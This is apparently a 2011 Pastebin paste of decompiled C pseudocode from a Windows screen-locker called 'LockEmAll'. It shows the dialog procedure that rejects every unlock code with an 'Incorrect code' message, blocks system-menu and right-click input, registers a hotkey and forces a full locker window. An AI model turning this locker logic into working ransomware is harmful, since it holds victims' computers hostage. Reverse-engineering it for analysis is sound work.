Advertisement
Xylitol

LockEmAll

Sep 15th, 2011
403
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.20 KB | None | 0 0
  1. signed int __stdcall DialogFunc(HWND hwnd, UINT uMsg, int wParam, int lParam)
  2. {
  3. signed int result;
  4.  
  5. if ( uMsg > 0x110 )
  6. {
  7. if ( uMsg == 0x111 ) // WM_COMMAND
  8. {
  9. if ( wParam != 1002 ) // id of button (ButtonClick handler)
  10. return 0;
  11. SetDlgItemTextA(hwnd, 1001, "Введен неверный код");// "Incorrect code" message, 1001 id of Edit control
  12. }
  13. else
  14. {
  15. if ( uMsg != 0x112 && uMsg != 0x204 ) // WM_SYSCOMMAND or WM_RBUTTONDOWN
  16. return 0;
  17. }
  18. return 1;
  19. }
  20. if ( uMsg == 0x110 ) // WM_INITDIALOG
  21. {
  22. hWnd = GetDesktopWindow();
  23. RegisterHotKey(hwnd, 0, 1u, 9u);
  24. hThread = (int)CreateThread(0, 0, InvalidateRectRoutine, hwnd, 0, (LPDWORD)&uMsg);
  25. return 1;
  26. }
  27. if ( uMsg == 1 ) // WM_CREATE
  28. return 0;
  29. if ( uMsg == 0xF ) // WM_PAINT
  30. {
  31. GetWindowRect(hWnd, &Rect);
  32. SetWindowPos(hwnd, HWND_MESSAGE|0x2, (Rect.right - 800) / 2, (Rect.bottom - 600) / 2, 800, 600, 0x40u);
  33. RedrawLockerWindow(hwnd);
  34. result = 1;
  35. }
  36. else
  37. {
  38. result = 0;
  39. }
  40. return result;
  41. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement